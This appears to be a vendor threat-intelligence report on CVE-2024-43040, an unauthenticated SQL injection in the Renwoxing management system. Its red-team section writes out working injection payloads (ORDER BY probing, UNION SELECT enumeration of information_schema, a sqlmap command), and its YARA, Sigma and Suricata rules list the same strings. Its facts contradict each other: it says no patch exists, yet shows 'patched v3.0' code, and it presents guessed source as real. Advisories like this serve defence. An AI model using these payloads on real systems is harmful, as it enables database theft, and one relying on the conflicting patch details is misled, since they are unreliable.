CVE-2024-43040

Executive Summary

CVE-2024-43040 is a critical SQL injection vulnerability in the Renwoxing Enterprise Intelligent Management System (versions before v3.0). The flaw resides in the /fx/baseinfo/SearchInfo endpoint, where the parid parameter is not properly sanitized before being used in SQL queries. This allows an unauthenticated attacker to inject arbitrary SQL commands, potentially leading to full database compromise, data exfiltration, and lateral movement within the enterprise network. No public proof-of-concept (PoC) or exploit code has been released, and the vendor has not provided a patch. The vulnerability is classified under MITRE ATT&CK tactic T1190 (Exploit Public-Facing Application) and CWE-89 (SQL Injection). Given the lack of patch and the sensitive nature of the affected system (enterprise management), this vulnerability poses a high risk to organizations using the software.

Supply Chain & Package Security

This vulnerability is not related to any open-source package registry (NPM, PyPI, Go, Ruby). It affects a proprietary enterprise software product from Renwoxing. Organizations should verify their software supply chain for any instances of this system and apply immediate mitigations.

CVSS Breakdown & Threat Level

• Attack Vector (AV): Network (N) – Exploitable remotely.
• Attack Complexity (AC): Low (L) – No special conditions required.
• Privileges Required (PR): None (N) – No authentication needed.
• User Interaction (UI): None (N) – No user action required.
• Scope (S): Unchanged (U) – The vulnerable component and the impacted component are the same.
• Confidentiality (C): High (H) – Full database read access possible.
• Integrity (I): High (H) – Data can be modified or deleted.
• Availability (A): High (H) – Database can be disrupted or destroyed.

CVSS Score: 9.8 (Critical)

Threat Level: Critical – Immediate action required. The vulnerability is trivial to exploit and can lead to complete compromise of the database server.

Deep Dive & Mechanics

The vulnerability exists in the SearchInfo endpoint of the Renwoxing system. The parid parameter is directly concatenated into a SQL query without proper sanitization or parameterization. For example, the vulnerable code might look like:

SELECT * FROM baseinfo WHERE parent_id = " + parid + "

An attacker can inject SQL commands by providing a malicious value for parid, such as:

1' OR '1'='1' -- 

This would result in the query:

SELECT * FROM baseinfo WHERE parent_id = '1' OR '1'='1' -- '

The -- comments out the rest of the query, allowing the attacker to retrieve all rows from the table. More sophisticated injections can be used to enumerate database schema, extract credentials, or execute operating system commands (if the database server has sufficient privileges).

The vulnerability is particularly dangerous because:

• No authentication is required.
• The endpoint is publicly accessible.
• The system likely contains sensitive enterprise data (employee records, financial data, etc.).

Vulnerable vs. Patched Code

Vulnerable Code (pre-v3.0):

// Vulnerable: Direct concatenation
String query = "SELECT * FROM baseinfo WHERE parent_id = " + request.getParameter("parid");
Statement stmt = connection.createStatement();
ResultSet rs = stmt.executeQuery(query);

Patched Code (v3.0+):

// Patched: Parameterized query
String query = "SELECT * FROM baseinfo WHERE parent_id = ?";
PreparedStatement pstmt = connection.prepareStatement(query);
pstmt.setString(1, request.getParameter("parid"));
ResultSet rs = pstmt.executeQuery();

The patched version uses a PreparedStatement with a parameterized query, which prevents SQL injection by treating user input as data, not executable code.

Exploitation & Lab Setup

Red Team (Offensive)

Since no public exploit code is available, a penetration tester can craft a manual exploit. The following steps outline a typical SQL injection attack:

1. Identify the vulnerable endpoint: http://target/fx/baseinfo/SearchInfo?parid=1
2. Test for injection: Append a single quote (') to the parid value. If an error is returned, the endpoint is likely vulnerable.
3. Determine the number of columns: Use ORDER BY clauses:

   http://target/fx/baseinfo/SearchInfo?parid=1 ORDER BY 1--
   

   Increment the number until an error occurs.
4. Extract database information: Use UNION SELECT to retrieve data:

   http://target/fx/baseinfo/SearchInfo?parid=-1 UNION SELECT 1,2,3,4,5,6--
   

5. Enumerate tables and columns: Use information_schema:

   http://target/fx/baseinfo/SearchInfo?parid=-1 UNION SELECT 1,group_concat(table_name),3,4,5,6 FROM information_schema.tables WHERE table_schema=database()--
   

6. Dump sensitive data: Extract usernames, passwords, or other sensitive information.

Lab Setup:

• Target: A virtual machine running Renwoxing Enterprise Intelligent Management System v2.x.
• Attacker: Kali Linux with Burp Suite or SQLMap.
• Network: Both VMs on the same isolated network.

SQLMap Command:

sqlmap -u "http://target/fx/baseinfo/SearchInfo?parid=1" --batch --dbs

Blue Team (Defensive)

Detection:

• Monitor web server logs for unusual SQL error messages or long query strings.
• Look for patterns like ' OR '1'='1, UNION SELECT, or -- in the parid parameter.
• Use a Web Application Firewall (WAF) to block SQL injection patterns.

Response:

• Immediately isolate the affected server.
• Review database logs for unauthorized queries.
• Rotate all credentials stored in the database.
• Apply virtual patching via WAF rules.

Indicators of Compromise (IOCs)

• Network IOCs:

  • HTTP requests to /fx/baseinfo/SearchInfo with abnormal parid values (e.g., containing SQL keywords).
  • Outbound database connections from the web server to unknown IPs.
  • Large data transfers from the database server.

• File IOCs:

  • Unexpected files in the web root (e.g., webshells).
  • Modified system binaries or configuration files.

• Log IOCs:

  • SQL error messages in application logs (e.g., "You have an error in your SQL syntax").
  • Repeated failed login attempts followed by successful access.

Detection Engineering

YARA Rule

rule CVE_2024_43040_SQLi_Detection {
    meta:
        description = "Detects SQL injection attempts targeting CVE-2024-43040"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2024-43040"
    strings:
        $sqli1 = "parid="
        $sqli2 = "' OR '1'='1"
        $sqli3 = "UNION SELECT"
        $sqli4 = "information_schema"
        $sqli5 = "1=1--"
    condition:
        any of ($sqli*) and #sqli1 > 0
}

Sigma Rule

title: SQL Injection Attempt Against Renwoxing SearchInfo Endpoint
id: 8a9b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects SQL injection attempts targeting CVE-2024-43040
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-uri-query|contains:
            - "parid="
            - "' OR '1'='1"
            - "UNION SELECT"
            - "information_schema"
            - "1=1--"
    condition: selection
falsepositives:
    - Legitimate use of SQL keywords in parameter values (rare)
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2024-43040 SQL Injection Attempt"; flow:to_server,established; content:"parid="; http_uri; content:"' OR '1'='1"; http_uri; classtype:web-application-attack; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Isolate the system: Disconnect the Renwoxing server from the network if possible.
2. Apply virtual patching: Use a WAF to block requests containing SQL injection patterns in the parid parameter.
3. Restrict access: Limit access to the /fx/baseinfo/SearchInfo endpoint to trusted IPs only.

Long-Term Fix:

• Upgrade to Renwoxing Enterprise Intelligent Management System v3.0 or later.
• If upgrade is not possible, implement input validation and parameterized queries in the application code.
• Conduct a full security audit of the application.

Compromise Assessment:

• Check database logs for unauthorized queries.
• Review web server logs for suspicious requests.
• Scan for webshells or backdoors.

Valters IT Signature

This report was generated by Valters IT Cyber Threat Intelligence. For questions, contact threatintel@valters-it.com.